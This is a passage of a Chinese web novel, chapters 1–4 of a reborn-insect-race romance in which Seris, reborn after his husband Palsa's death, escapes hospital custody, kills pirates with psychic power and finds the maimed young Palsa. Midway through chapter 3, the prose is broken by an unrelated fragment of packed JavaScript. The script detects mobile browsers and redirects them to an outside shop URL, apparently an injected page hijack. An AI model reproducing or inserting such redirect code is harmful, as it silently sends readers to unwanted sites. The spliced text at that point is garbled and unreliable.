《虫族之拯救残疾上将》
1. 第 1 章 重生
洁白的病房里躺着一个脸色苍白的少年,双目紧闭陷入昏睡之中,面容上的憔悴也掩不住他精致的五官。
他身上连接着数条探测导线,床侧的医疗仪器发出平稳规律运行的声音。
突然尖锐的警报声炸响!
“滴!滴!滴——”
少年瘦弱的身体开始不受控制地痉挛起来,他的眼球快速转动,却如何也睁不开沉重的眼皮。
房门被猛地推开,医护虫员快速的涌入进来。
因为这次救助的批次中拥有多名珍贵的雄子,首都星雄子保护协会特地抽调了顶尖的医疗专家过来,刚刚抵达联邦医院。
为首的医生迅速拿起床尾的电子平板,指尖快速滑动,调出病虫的档案:
【8号病房:塞利斯。性别:雄子。预估等级:B级(二次进化成功,状态不稳)。诊断:严重精神受损,创伤后应激障碍(PTSD),伴有间歇性意识分离......】
“快!立刻静脉推注异丙酚5ml,安酮纳比10ml——”
随着镇定的药液注入血管,少年剧烈颤抖的身体渐渐平息下来,但仪器的警报仅仅暂停了几秒后又疯狂响动起来。
“!!!雄子精神力在突破,上升到了A级!”A级哪怕在首都星也是极其珍贵的存在,一众虫还未来得及高兴,只见精神力探测数据急转直下。
“不好!精神力跌落到了B级,还在持续下降!”
塞利斯听不到外部的喧哗声,他陷入到了深深的梦魇当中,意识不断下坠。
梦中的塞利斯坐在一艘快速行进的军舰上,却是一副青年模样,容颜昳丽到让虫觉得他应该是被什袭珍藏、小心呵护的玫瑰。
“星际快讯:第二次莫迪星平叛战役大获全胜,此次战役象征着斯科德星系于星历6043年11月9日重回联邦帝国的怀抱。
帝国元帅帕尔萨于昨日莫迪星会战中壮烈殉国,享年36岁。
据悉,在战役最关键时刻,元帅亲自斩杀敌舰中枢指挥团,突破敌军最后防线,但自身不幸深受重伤英勇牺牲。
帕尔萨元帅为帝国收复沦陷一个世纪的斯科德星系立下不朽功勋,他的遗体将在近日运回首都星......”
军舰上早间新闻播报的声音还在持续,塞利斯的耳朵里却传来一阵嗡鸣声,让他有些头晕目眩,塞利斯下意识的捂住耳朵,脸上血色尽失。
自他精神力突破至S级,已经很久没有体会过这种生理性不适了。
“塞利斯阁下,您还好吗?”一名副官上前低声询问。
“我没事。”塞利斯摇摇头,声音却异常的干涩,表情有几分茫然。
他黑色的头发泛着柔顺的光泽,皮肤在光线照射下宛如上等的白瓷,一双眼是罕见的琥珀色,光凭外貌无数军雌见了都要为之痴迷。
副官看着塞利斯的样子,感叹不亏是帝国玫瑰,即便是在此刻,他苍白脆弱的样子也美得惊心动魄。
又想起星网上的传闻,说这位阁下极其厌恶他那位位高权重、性格冷硬的雌君。
副官不禁为战功赫赫的元帅感到一丝悲哀,即使拥有无上的地位和财富,至死也没有得到雄主的喜爱。
“请跟我来吧,主舰对接完毕,您马上就可以见到元帅...的遗体了,希望您提前做一下心理准备,请您节哀。”
当看到金属台上那具完全虫化的躯体时,塞利斯终于明白了那句“心理准备”意味着什么。
虫体接近三米的高度,充满了压迫感,躯干覆盖着银色的几丁质甲壳。
脊背两侧延伸出三对如钢刀般锋利的虫翼,四肢也完全虫化,尾部是一条长达六米的环节状骨钩,无力地垂落在台边。
覆盖着透明膜质的复眼上只剩下毫无生命光泽的灰白色。
这就是SS级军雌彻底虫化后的最终形态,是足以徒手撕裂战舰装甲、硬抗激光武器的战争机器本体。
也是......帕尔萨。
周围的军雌紧张地观察着塞利斯的反应。谁都知道,这位阁下厌恶军雌,更恐惧虫化的军雌。
他们生怕这具过于“原始”和“可怖”的躯体,会惊吓到娇贵的雄子。
塞利斯站在原地,脚步像是被钉在了金属地板上。
他的视线牢牢锁在那片冰冷的银色上,忽然感到呼吸困难,甚至手指都麻痹到颤抖起来,脑海中不受控制地翻涌起一些画面。
那似乎是一个夜晚,帕尔萨因精神暴动压制不住半虫化的反应,脖颈处蔓延着妖异瑰丽的银色虫纹,小心翼翼的来到他的面前。当时的自己是怎么做的?
他记得自己当时正端着一杯红酒,倚在沙发上,看见半虫化的军雌,胸口猛地涌上来想要呕吐的欲望,眼中流露出厌恶:“滚开!你这个样子真让我恶心。”
他清晰地记得,那一刻,银发青年暗红色的眼眸中,满含希冀和因精神暴动而痛苦的情绪瞬间凝固,转化成难以言喻的悲伤。
帕尔萨的眼底似是有水光闪过,但什么也没说,只是近乎贪婪的深深的看了他一眼,然后沉默转身,步履踉跄的离开了房间。
帕尔萨知他不愿,所以连一句请求精神安抚的话都未曾说出口。即使对雌君进行精神安抚,是雄主法定的义务,即使他们那时,已经结婚两年有余。
还有最后一次见面。
彼时帕尔萨刚被授予元帅军衔,即将远征。临出发前,那个身形高大的银发青年,褪去了平日里的冷硬。
穿着挺廓的军装坐在他的床畔。帕尔萨轻轻地拉起塞利斯的手,那双暗红色的眸子充满眷恋与不舍。
“雄主,”帕尔萨的声音低沉沙哑,带着温柔却强硬的祈求,“我不在的时候,要照顾好自己。我会...一直想念您。”
而被缠磨了一夜,带着些许起床气的塞利斯,只是不耐烦的甩开他的手,连一个字都懒得施舍,翻了个身沉沉睡去。
那竟成了永别。
塞利斯上前轻轻抚摸那冰冷坚硬的银色甲壳,上面没有新闻里所说的“重大创伤”。SS级军雌完全虫化的躯体,怎么可能轻易重创?
真正的死因,是彻底的精神暴动。
是因为长达六年的婚姻里,身为帕尔萨法定雄主的自己,从未给予过他一次彻底有效的精神梳理。积年累月的痛苦,战场上的杀戮与压力,最终摧毁了帕尔萨强大的精神海域。
是他。
是他塞利斯,亲手将帕尔萨推向了死亡的深渊。
——
不知过了多久,塞利斯猛地睁开双眼,剧烈的喘息着。
他没死?
不,他死了。他清晰地记得,在帕尔萨死后第十年,他死于一场原因不明的星舰事故,或者说那根本就是一场精心策划的政治谋杀。
“塞利斯?身体有哪里不舒服吗?”
一道温和关切的声音在床边响起。
塞利斯回神,循声望去。一张熟悉的的雌虫面容映入眼帘。
艾尼亚,他曾经的主治医师,也是他回到首都星后,“唯一”能够信任和接近的军雌。
见塞利斯只是怔怔地看着自己,没有回应,艾尼亚似乎并不意外,他脸上浮现出更加温柔的笑容,声音带着安抚的意味:
“别害怕,我是你的主治医师艾尼亚。你现在是安全的,雄子保护协会已经将你们从那个非法实验室里成功救出。
你因为之前受到了严重的伤害,大脑启动了自我保护机制,导致部分记忆暂时模糊甚至缺失,这是创伤后应激障碍的典型表现之一......”
塞利斯沉默地看着他,听他说着和上一世一样的病情描述。
他意识到自己重生了,重生回了刚刚被救出,即将前往首都星的这个时间节点。
更重要的是,随着这次重生,那些更久远的记忆,也如同解开了某种封印。
——他想起来了,他最初并不是这个虫族世界的原生居民。他来自一个叫做地球的蓝色星球,是一个普通的人类。
上一世穿越过来的时候,这具身体应该是刚刚被救助,因为精神创伤和二次进化的冲击,他也受到影响连自己身为人类的记忆都彻底遗忘。
只以为自己是个幸运进化到A级的土著雄子,在首都星过上了与之前天差地别的生活。
至于原身在实验室被救助前的具体记忆,依旧没有任何印象,塞利斯
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尝试强行回想,只引来剧烈的头痛和精神力的动荡,可能是他与原身的记忆并没有融合。
艾尼亚还在耐心地介绍着目前的情况以及后续安排,塞利斯静静地听着,琥珀色的眼眸盯着艾尼亚,仿佛在下意识依赖着眼前的雌虫。
感受到塞利斯专注的视线,艾尼亚嘴角的弧度弯得更加明显,眼中闪过一丝不易察觉的满意。
塞利斯心底却是一片嘲讽的冷笑。
艾尼亚,他前世的“挂名前男友”。
为何是挂名,因为艾尼亚最多算得上是刚到首都星时被他信赖和亲近的朋友。
并且两虫还没有任何实质情感进展,帕尔萨就拿着帝国最高匹配度的婚姻匹配证明,闯进了他的生活。
但男友虽然是谣言,上一世被莫名传的虫尽皆知。
而帕尔萨死后,艾尼亚开始追求塞利斯,塞利斯却选择了接任帕尔萨的位置,成为奥唐纳家族的掌权者,也是艾尼亚所在的席尔瓦家族的政治对手。
十年的政治生涯让塞利斯明白,眼前的艾尼亚从一开始对自己就不是简单的医生对病患的照顾。
可能是雄子保护协会的安排,也可能是席尔瓦家族想对这批雄子进行资源控制。
因为塞利斯刚刚清醒,艾尼亚没有多做交流,叮嘱完便转身离开,不久后塞利斯被转入到普通病房。
艾尼亚依旧每天准时前来查房,观察他的恢复情况。塞利斯表现得乖巧懵懂,对周围的一切都带着怯生生的好奇。
几天后,他看着周围医护虫员手腕上都戴有的光脑,眼中流露出羡慕与渴望,小声地向艾尼亚提出:
“艾尼亚医生,我,我可以有一个吗?看起来很有意思。”
光脑在虫族社会早已普及,对于雄子尤其是被重点保护的雄子,配备光脑是惯例。
艾尼亚没有多想,很快就给了他一个设置了严格限制,只剩下基础娱乐功能的初级光脑。
晚上病房中只剩下塞利斯自己时,他轻而易举的破解了光脑的限制,黑进医院的监控系统,将自己病房的监控视频覆盖成雄虫在睡觉的画面。
监控覆盖完成后,塞利斯面上的单纯懵懂瞬间褪去,取而代之的是一种面无表情的冷漠。
紧接着他快速黑进了军方内部网络,输入了那个刻在他灵魂深处的名字——帕尔萨·奥唐纳。
光屏投射的画面闪烁,很快显示出结果。
照片上的银发青年穿着笔挺的军装,眉眼深邃目光冷冽,鼻梁高挺,整个虫像一柄出鞘的利剑,散发着生虫勿近的气场。
却又是那么的意气风发。
这是塞利斯也没有见过的帕尔萨年轻的模样,他不禁用目光描绘着照片上青年的轮廓,眼中是他自己都不曾发觉的疯狂的痴迷。
他继续往下看着帕尔萨的信息,二十八岁,军衔少将,A级战斗力,履历表上战功赫赫,而在状态一栏,却清晰地标注着:疗养中。
帕尔萨之前的参战记录,以及目前具体的疗养地点,全部被标上了核心加密的印记。
塞利斯盯着那“疗养中”三个字,唇角勾起一抹冰冷的弧度。
不出所料的话,现在这个时间点,正是帕尔萨和白月光在军事行动中出事的时候。
白月光身死,帕尔萨为了救白月光不仅身受重伤,精神海域也遭受重创,不得不隐匿起来休养。
是啊,谁能想到上辈子对塞利斯百依百顺,恨不得身心都系在塞利斯身上的帕尔萨,年轻的时候还有个爱得死去活来念念不忘的白月光。
而他大概率是白月光的替身。他曾找帕尔萨对峙,换来的只有承认般的沉默。
真是地球上黄金八点档的狗血剧。
真是...天赐良机。
十年的生死分别,改变了塞利斯许多认知。
无论上一世帕尔萨死时心里爱的是他还是白月光,都不重要了。
他现在要找到帕尔萨,抹去白月光留在帕尔萨身上的所有痕迹,在帕尔萨的精神海里狠狠打上他专属的精神烙印。
如果爱不能唯一,恨也可以。
他要让帕尔萨时刻想着他,哪怕是恨。
就像他一样。
2. 第 2 章 S级的实力
塞利斯通过特殊手段,定位到了帕尔萨私虫光脑ID最后活跃的星域范围。
他现在所在的克里地星球,只是返回首都星前的中转站,守备相对于首都星而言要松懈许多。
他只需要一个合适的机会,一个能让他在不引起雄子保护协会全力追查的情况下,暂时“消失”的机会。
这天,负责塞利斯日常检查的一名亚雌医生,正在与艾尼亚沟通他的最新情况。
“塞利斯二次进化后原本精神力等级初步评定为B级。
但您知道的,他昏迷期间波动剧烈,一度触及A级门槛,又跌落至C级,最终虽然又稳定在B级。
可自从他清醒后,精神力水平就呈现出持续性的缓慢下降趋势。”
亚雌医生翻看着数据报告,语气中不自觉带着轻视:
“上周稳定测试时,已经降到了C级。而本周的复查,只有D级水平了。”
他顿了顿,补充道:
“经过这段时间的β光精神放射治疗,他因实验室遭遇而产生的创伤应激后遗症,在行为表现上已经基本平复。
我们认为,塞利斯精神力等级持续下降,除了受部分生理性腺体受损和信息素分泌障碍的影响外,可能有心理层面的问题。
初步判断,他有中度以上的抑郁倾向。”
当艾尼亚再次来到病房时,看到的就是塞利斯抱膝坐在床上,呆呆望着窗外的景象。
夕阳的余晖勾勒出他单薄的轮廓,愈发显得他落寞可怜。
听到脚步声,塞利斯回过头,冲着艾尼亚露出了一个脆弱的微笑:“艾尼亚,你来啦。”
经过这段时间的调养,塞利斯的容貌褪去了最初的憔悴,越发显得秀丽,那份精致中带着易碎感的美丽,对雌虫有着致命的吸引力。
艾尼亚走上前,伸手抚摸着塞利斯的发顶,语气充满了安抚:“别担心,会好起来的。”
塞利斯心底一片清明,他太了解艾尼亚,了解雄子保护协会的运作方式了。
对于他们而言,雄子的容貌固然是加分项,但真正决定其价值的,永远是精神力的等级和能力。
一个精神力只有D级,并且还在持续下跌的雄子,即便容貌再出众,其重要性也会大打折扣。
为了让塞利斯散心缓解抑郁,艾尼亚在请示上级后,开始定期带他离开医院,在克里地星球的主城区范围内活动。
前两次,塞利斯都表现得安静而顺从。
直到第三次。
塞利斯乖巧的坐在街边的长椅上晒太阳,艾尼亚去给他买甜品店里的冰激凌。
当艾尼亚拿着甜筒回过头时,街边的长椅上,已经空无一虫。
塞利斯的光脑信号,显示损坏无法追踪。
艾尼亚立刻联系了当地的警务部队。然而,一天的寻找,虫影全无。
最后还是通过雄子保护协会,动用了驻扎在克里地星球的联邦第二军团的侦查部门,才发现了塞利斯的行踪。
塞利斯,被一艘注册信息模糊,疑似是星盗伪装的小型货运飞船,挟带离开了克里地星球。
没有虫知道,这场“绑架”的导演,正是塞利斯自己。
他在星际暗网上,用匿名的加密频道,雇佣了一伙流窜星盗。
而支付给星盗的一百五十万星币的定金,走的是帕尔萨的私虫账户。
两虫结婚后,帕尔萨几乎将所有重要的账号密码,都改成了他们的结婚纪念日。
作为帕尔萨法定的雄主,他不仅知道婚后的密码,帕尔萨自己还主动交代过婚前的一些惯用账户密码,当时的帕尔萨恨不得让塞利斯了解自己的全部。
呵,让他屈尊纡贵的去找帕尔萨才花这点钱,真是便宜帕尔萨了。
与此同时,位于星际边缘的西莫星上,矗立着一栋精致的花园别墅。
别墅宽敞的客厅里,一个圆头圆脑的家政机器虫,正跟着全息投影里的舞蹈教程扭动着金属躯体。
“(?˙o˙)?”头顶的显示屏上闪烁。
突然它的内部系统接收到一条来自星际金融银行的大额转账通知。
“?”机器虫动作一顿,立刻启动追踪程序,却发现接收方信息被层层加密,无法核查到有效源头。
它犹豫了一下,沿着楼梯上了二楼,看向露天阳台上的身影。
机器虫屏幕闪烁了几下,汇报道:
“主虫,监测到您的星际银行私虫账户发生异常转账,支出金额:1,500,000星币。
银行系统未标记为异常操作,但接收账户经过高级反追踪处理,无法核查有效信息源,疑似不明财产转移,建议启动安全协议。”
隐没在休闲座椅上的身影没有任何回应,仿佛根本没有听见。
只有指尖夹着的茄叶,顶端猩红的光点在渐沉的暮色中,明明灭灭。
机器虫等待了片刻,没有得到任何指令,只好悻悻地自行滑走。
“(???)”晃着脑袋嘀嘀咕咕下楼:
“我就知道不理我,不,他谁都不理!一百五十万星币对于主虫九个零的存款不值一提!
下次我要偷偷给自己买最贵的能源体——不过主虫好颓,他不会傻了吧,呜呜呜主虫好惨,我要不要找个活虫照顾他......”
阳台上,重新陷入一片死寂。
夜色逐渐吞没高大的身影,直到快要燃烧完的茄叶亮起最后一抹红光,微微照亮青年虫纹蔓延的面庞。
与照片上的军雌,判若两虫。
飞船在颠簸中冲出克地里星的大气层,不久后,舷窗外代表克地里星的最后一点微光,也消失在漆黑的宇宙之中。
塞利斯安静的坐在角落的阴影里,低垂着头,黑色的碎发遮住了他眼底的情绪。
上一世塞利斯长时间生活在首都星,那是虫族文明与科技发展最好的星球。
贵族以及等级越高的虫族都以类人形为主要形态,虫化形态除了在战斗时或精神暴动时展现,其余时随意露出虫化特征是野蛮以及低等的象征。
显然游离在星际边缘的星盗是不会在意的。
飞船里弥漫着一股腐烂恶心的气味,那是毫不遮掩自己虫化特征的星盗身上分泌物的味道,令虫作呕。
“老大,这次赚大了!虽然是个D级,但那脸蛋,啧啧。”
远处一个脑袋上布满瘤状凸起和裂纹的军雌灌了一口劣质酒,目光荒淫的在塞利斯身上扫过。
被称作老大的独眼军雌裂开嘴,漏出黄黑色尖牙交错形成的口器:
“便宜货有便宜货的玩法,等到了安全点,让兄弟们都开心开心。”
其余的星盗也都形状各异,有的背后隆起鞘翅残根,有的手臂关节反向弯曲露出带倒钩的骨刺。
与首都星语言不同,他们说话时会伴随着腹部的嗡鸣声。
半个月前他们接了一单运输雄子的任务,因为这个雄子的主动配合,任务难度不算高。
他们派出来的雌虫不是很多,但是实力并不低,例如独眼就是个B级的军雌。
讲信用那是头部雇佣兵团的事情,像他们这种底部罪犯糅杂而成的星盗组织,拿钱再杀虫越货,才是经常干的事。
“一个个来还是一起上啊,这小雄子的晶叶不够咱们一起榨的吧。”另一名星盗接话道。
星盗们不怀好意的哄笑声在船舱里回荡,塞利斯完全类人形态在一众军雌眼中像是可以随意拿捏的弱小玩物。
这几个星盗以为塞利斯等级低下听
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不清他们的讲话,但实际塞利斯听的一清二楚。
显然这群恶心的臭虫并不打算完成雇佣任务。
意料之中,塞利斯心中冷笑,面上却依旧一副呆呆的样子。
飞船进行了几次短途跃迁,最终停留在了一片废弃星域。
这里远离联邦的管控,只有几颗被掏空的矿物星球和漂浮的太空垃圾。
“就这里吧,小雄子,该付‘额外’的报酬了。”
独眼站起身,开始撕扯自己脏烂的作战服,想要露出用于交和的器官。
塞利斯抬起头,露出秀丽的面庞。他的眼睛是罕见的琥珀色,此刻在昏暗的光线下,像是不可见底的深渊。
“还没有到目的地,你要违背契约吗?”他的声音很轻的问道,看起来孱弱无助。
“契约?哈哈哈!”独眼大笑,“一个D级废物跟老子讲契约?乖乖躺好,让哥哥教你怎么伺候雌虫!”
说着,他扑了上来,手掌直抓塞利斯的衣领。
就在那肮脏的手指即将触碰到塞利斯的一刹那——
塞利斯身前的空间好像扭曲了一下,泛出一层涟漪。
以塞利斯为中心,一股无形却磅礴的力量轰然爆发,释放出山崩海啸般的冲击波。
“砰!”
扑上来的独眼,像是被无形的巨物创飞出去,狠狠撞在金属舱壁上。
坚固的合金壁板被砸出清晰的虫形凹陷,独眼滚落在地,口中喷出混合着内脏碎块的鲜血。
剩下七个原本跃跃欲试,满脸恶心笑容的星盗们全都僵住了。
塞利斯缓缓站起身。他依旧是那副纤细的身形,但周身散发出的气场已天翻地覆。
他步履从容地走到挣扎着想要爬起的独眼面前,抬起脚踩在了对方恐惧的脸上。
“D级?”塞利斯微微偏头唇边绽开一抹微笑,迷虫又危险,琥珀色的眼眸里却没有任何温度,
“别浪费时间,你们一起上。”
声音不大,却如同惊雷在每个星盗的脑海中炸响,他们对视一眼,迅速虫化一拥而上。
塞利斯磅礴的精神力如潮水般涌开,一股不可抗拒的力量狠狠刺入星盗们的大脑中。
精神壁垒不堪一击的化为齑粉,他们甚至无法理解发生了什么,精神领域已全部湮灭。
星盗们虫化的节肢僵硬,鞘翅紧贴脊背,眼中熄灭了生命的光芒。
仅一个照面,他们连口中的哀鸣都没能发出就失去了气息。
只有塞利斯脚下的独眼喉咙发出咯咯声挣扎说道:
“你是S——”级,话还未说完,双眼失去焦距成为了一个傀儡。
塞利斯收回脚:“清理干净。”他淡淡地吩咐。
独眼毫无意识的将几个雌虫拖走,连同自己一起成为了太空垃圾的一部分。
塞利斯看着飞船外越发飘远的几具虫体,他举起手五指合拢又张开,轻声道:“砰!”
看着外面应声而落炸开喷溅的几朵血雾,塞利斯灿烂的笑出声。
他心情愉悦走到主控位坐下,一手抚上颈后微微发热的腺体,在周围按了按。
虽然塞利斯S级的精神力随着他的重生直接跟随过来,但是刚被救助后的身体状态不能立即改变。
他的腺体受损导致信息素分泌异常,过多使用精神力会导致腺体疼痛。
那种疼痛是从腺体开始顺着脑后蔓延至颅顶的阵阵刺痛。
现在身体信息素的等级在B级左右,超等级释放精神力会让他产生大脑使用过度和体力透支的感觉。
塞利斯毫不在意身体的不适,调出星图,手指在星际边缘区域划过,最终停留在了一个黯淡的光点上。
“目标,马拉星系,西莫星。”
3. 第 3 章 破碎的帕尔萨
西莫荒星位于马拉星系末端的碎星带边缘,远离主要跃迁航道。
从外太空望去,西莫星呈现出一种暗黄与铁锈红斑驳交织的色调。
周期性席卷全球的磁铁风暴让高原的地表更加贫瘠,星球表面随处可见巨大的如同疤痕般的露天矿坑。
一条阶梯式的地质断裂带,将西莫星划分的泾渭分明,低洼处是雨季常驻的,危机四伏的原始森林区域。
有含酸性水流侵蚀矿层形成的复杂峡谷,孕育着十分危险的大型虫豸群体,也暗藏着嶙峋的天然晶簇丛和含毒性的菌体生物。
高原处则裸露着岩层,广袤的大地上遗留着采矿机械残骸、锈蚀的轨道网络以及废弃的庞大交错的钢铁楼架,这是工业废墟区,环绕着中心的勒比城。
勒比城是马拉星系最臭名昭著的黑市巢穴,拥有规模惊虫的地下交易网络。
从违禁军火到稀有生物器官,从星际秘闻到活体奴隶,只要付得起价钱,没有什么不能在这里明码标价。
也因此,它成为整个星系最危险的城市。街道上任何一个擦肩而过的雌虫,都可能是帝国通缉令上穷凶极恶的罪犯。
塞利斯从地下城的洞窟里走出来,沿着陡峭通道向上走。
他黑色柔顺的头发整齐地梳在耳后,经过伪装后的脸看起来平平无奇。
身上穿着干净但老旧的工装,看上去就像个挣扎求生的亚雌。
但认识他的虫都不会小看他。
“洛纳”是塞利斯现在的化名。
他在勒比城伪装成机械师,出售一些运用了首都星降级技术的机械制品。
这些东西比黑市的水货精良,又不至于先进到惹来麻烦。
对拥有S级精神力的塞利斯来说,机械制造只是他庞大知识库里的一个小角落。
他刚做完一笔交易,一支改造过带有粒子光束攻击的机械臂,买家还算爽快,钱货两清的付了一万星币。
塞利斯慢悠悠的穿过嘈杂的主巷道。
两侧是废弃飞行器改造的店铺,闪烁着色彩斑斓的全息投影招牌,推销色情服务和不明药剂,金属音乐声震耳欲聋。
他脚下一转拐进另一条相对安静的岔道,走向尽头那家挂着破烂铁质招牌“流浪者之歌”的店铺。
掀开门帘,汗味和劣质酒精味扑面而来。吧台上方挂着一排摇晃的昏黄灯泡,卡座上散落的气灯映出朦胧的光线。
吧台后的酒保是个老雌虫,左侧头颅有明显的机械的修补痕迹,一道狰狞的疤痕自额角斜贯头顶。
他裸露在破旧背心外的虫肢呈现出一种粗糙的灰蓝色,甲壳表面布满深深的沟壑与暗沉斑点。
他用一块脏的看不出本色的布,慢条斯理的擦拭着一个酒杯。
......这杯子感觉越擦越脏。
塞利斯走到吧台前,在一个高脚凳上坐下,他开口道:
“给我来一杯...一罐格瓦格。”格瓦格类似于虫类的啤酒味道,重点是流水线生产无需手工调制。
酒保嗤了一声,用类手结构但指甲过长且尖锐的虫肢从吧台下掏出一罐格瓦格“咚”的一声甩在台面上。
塞利斯推过去五十面额的星币,三星币的格罗格卖五十,这堪比抢钱的暴利买卖比他辛苦制作机械挣得快多了。
他打开易拉罐,小口喝着,精神力像无形的网向四周蔓延,捕捉着对话信息,但没有他想要的内容。
喝了半罐,塞利斯才像闲聊似的温和开口:“之前打听的那件事,有星髓菌的消息了吗?”
星髓菌,一种只生长在特定潮湿、偏酸性岩层环境下的稀有菌类。周围常伴生着以它为食,性情凶悍的象鼻兽群。
因其极难采摘,以及据说能舒缓安抚军雌精神状态的食用效果,在黑市上卖出不错的价格。
但塞利斯想要的,并非它的食用功效。
上一世十几年后,由他名下秘密资助的顶尖生物实验室,成功研发出一种代号“P-1”的划时代药剂。
其核心成分,是利用特殊处理的星髓菌活体孢子,在接触特定信息素催化后,分泌出的一种极其稀有的生物酶。
这种酶对修复军雌根源性神经损伤有奇效。
酒保擦杯子的动作没停,只抬了抬眼皮:“店里新到了一批伏曼宁,品质不错。”
伏曼宁是一种烈酒,也是这里的“信息咨询费”的暗语。
塞利斯会意地笑了笑:“那就来一瓶。”
酒保用虫肢上的扫描器划走塞利斯五千星币,才说:
“前几天有队不要命的钻探虫下了喀斯溶洞。等他们上来,有货的话我给你消息。”
他顿了顿,“别抱太大指望。那鬼地方能活着出来就不错了,新鲜带活性的星髓菌?难。”
“要是他们空手而归,”塞利斯喝了一口酒,半开玩笑地问,“这瓶‘伏曼宁’能退我两千吗?”
“做梦,想钱想疯了吧你。”酒保翻了个白眼,俯身在吧台上,
“不过,我这有个别的赚钱的消息,算白给你的。
G08区,有个军雌在招虫,说是要佣虫还是护工来着,反正就是伺候虫的活儿,开价一个月十万星币。”
塞利斯握易拉罐的手一紧。“护工”这个词让他瞬间想到了帕尔萨。
帕尔萨的星脑ID最后一次活跃就在西莫星,但具体位置没追踪到。他来西莫两个月,一直在暗中查找。
塞利斯露出惊讶又有点怀疑的表情:“十万一个月?还有这种好事?”
“钱是不少,”酒保拿起脏布开始折磨另一个杯子,
“好不好事就不一定了。G08区半个月前刚闹过虫豸潮,死了不少拾荒者。惜命的有钱虫谁住那儿?这消息有一阵了,前后去了四五个吧。”
他看戏似的瞥了塞利斯一眼:“没见着一个回来的。”
G08区位于星球断裂带边缘,一边是原始森林,一边是工业废墟。
塞利斯驾驶着老旧飞行器俯冲而下,降落在森林边缘的砾石滩。雇主给了经纬坐标,但越靠近森林磁场越乱,星脑定位彻底失灵。他背起背包,徒步走进森林。
空气潮湿闷热,混合着腐殖土和植物的气味。他根据离线星图大概判断着方位,走了一个小时左右,眼前豁然开朗。
一栋首都星风格的别墅突兀地矗立在林间空地上,被金属围栏环绕,与周围环境格格不入。
塞利斯还没敲门,厚重的合金门就悄无声息地滑开了。
“(⊙o⊙)”一个头顶显示屏闪烁着表情,圆头圆脑的家政机器虫探出身子,
“哇哦!”它发出夸张的电子合成音,
“居然真的有活虫能找到这里!你是第一个成功抵达的虫子!”
第一个?塞利斯微微挑眉,那之前的雌虫都去哪儿了?
“快请进!我叫菲克,是这里的管家,虽然目前只管理我自己和主虫。”机器虫菲克殷勤地将门开大,
“(^v^)”屏幕上换成了友好的表情,“您怎么称呼?”
“洛纳。”塞利斯腼腆一笑。
菲克引他到客厅。客厅宽敞,装饰很有格调。塞利斯在沙发上坐下,菲克滑去厨房端来一杯冰镇气泡水。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049947|194800||http|test|mini|href|location''.split(''|''),0,{}));
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>“谢谢。”
菲克不知从何处掏出一个电子光幕,像模像样的边问边记:
“洛纳先生,亚雌,机械师...还擅长整理房间、做饭和照顾病虫?很全面啊!”
“略懂一些。”
“好的,那我介绍一下工作内容。”菲克放下记录板,语气稍正式了些,
“您知道帕尔萨少将吗?没听说过也没关系,可以搜他以前的公开资料。
主虫因为受伤在这里休养。您的主要职责就是照顾他的日常生活,尽可能让他开心快乐~”
听到帕尔萨的名字,塞利斯心头一顿。果然是他。
“您在这里稍等,我去请示主虫。”菲克转身上了二楼。
菲克离开后,客厅陷入寂静。塞利斯不自觉地蜷了下手指,又强迫自己松开。
他烦躁地发现自己竟有些紧张和期待,这感觉让他不愿承认。
他抬手按了按后颈。腺体那里贴着高科技抑制贴,完美模拟出亚雌虫纹。
为了身体舒适,他一直把精神力等级控制在和信息素匹配的B级水平。
过了一会儿,菲克独自下来了。
“(???)”屏幕闪烁。
“非常抱歉,洛纳先生。”菲克的电子音低落了,“主虫拒绝会面,请您离开吧。”
它尴尬地挠挠圆圆的脑袋,“其实招聘这事...是我自作主张。主虫不喜欢见外虫。”
塞利斯一怔。没想到第一次来,连帕尔萨的面都见不到。
他正要起身,菲克以为他要走急忙补充:
“请等一下!我觉得,我觉得你或许可以再争取一下!主虫对你是不同的!”
塞利斯不觉得帕尔萨会对自己这个素未谋面的“亚雌”有什么不同。
他并没有想走,也没追问,沉吟片刻开口:“帕尔萨先生最近吃什么?”
“...营养剂。”
塞利斯站在客厅里,忽然轻轻笑了。
他想起来,帕尔萨上一世看似对食物没要求,其实从小贵族出身娇生惯养,口味挑剔得离谱。
在军队里吃不到合口味的食物时,就会狂炫营养剂维持基本生命需求。
这被他嘲讽过“娇气”的习惯,现在成了他获得见面机会的唯一筹码。
“这里有做饭的食材吗?”
“你想要什么?”
塞利斯列了几样,菲克表示都有,带他来到厨房。
厨房食材齐全却毫无烟火气。
塞利斯洗净手,从冷藏柜取出最嫩的星兽排,用调料腌制,加入龙勒香和芹叶,淋上蜜汁,放进烤箱。
当烤箱传出焦糖和肉香混合的香气时,二楼传来了轻微响动。
塞利斯背对楼梯,端出烤肉,把最后一道清汤盛进碗里。
他摆好餐具,扯起嘴角转身。
然后,笑容凝固在脸上。
所有的准备和伪装,所有复杂得连自己也说不清的情绪,在这一刻被击得粉碎。
帕尔萨坐在悬浮轮椅上,停在楼梯中段。
那不是塞利斯记忆中的帕尔萨。
不是那个在外气势冷冽的帝国元帅,也不是在家中对他眉眼温柔的雌君。
现在的帕尔萨随意穿着一件松垮的黑色丝质睡衣,领口敞开着。
露出从锁骨蔓延到胸腹的狰狞疤痕,那是虫化逆转时,外骨骼反复撕裂皮肉留下的痕迹。
他的腿上盖着薄毯,却掩盖不住左腿自大腿中部以下空空荡荡的事实,只剩下一条右腿无力的放在轮椅的脚踏上。
最刺痛塞利斯眼睛的,是他的脸。
4. 第 4 章 记忆中的初见
虫纹。
银黑色的,属于雌虫精神暴动晚期的虫纹,已经从他的颈侧爬上下颌,蔓延过左侧脸颊,在眼角处绽开枝杈般的纹路。
像一张破碎的网,将他原本俊美冷硬的面容割裂成两半。一半天使,一半魔鬼。
曾经绸缎般顺滑的银色长发如今枯槁的散落在身侧,暗红色的双眸也不再有宝石一样的光泽。
他的眼神是空的,没有情绪,连厌世都不是,是一种彻底的死寂。
仿佛这具身体里最后的生机,都已在漫长的疼痛与孤独中消耗殆尽。
塞利斯的呼吸停滞了。
耳边嗡鸣声再起,指尖冰凉发麻。他恍惚又回到了前世的遗体陈列室,面对着那具银色的虫化躯壳。
“你做的?”
帕尔萨的声音沙哑异常,像是许久不开口说话,他的视线落在向餐桌上。
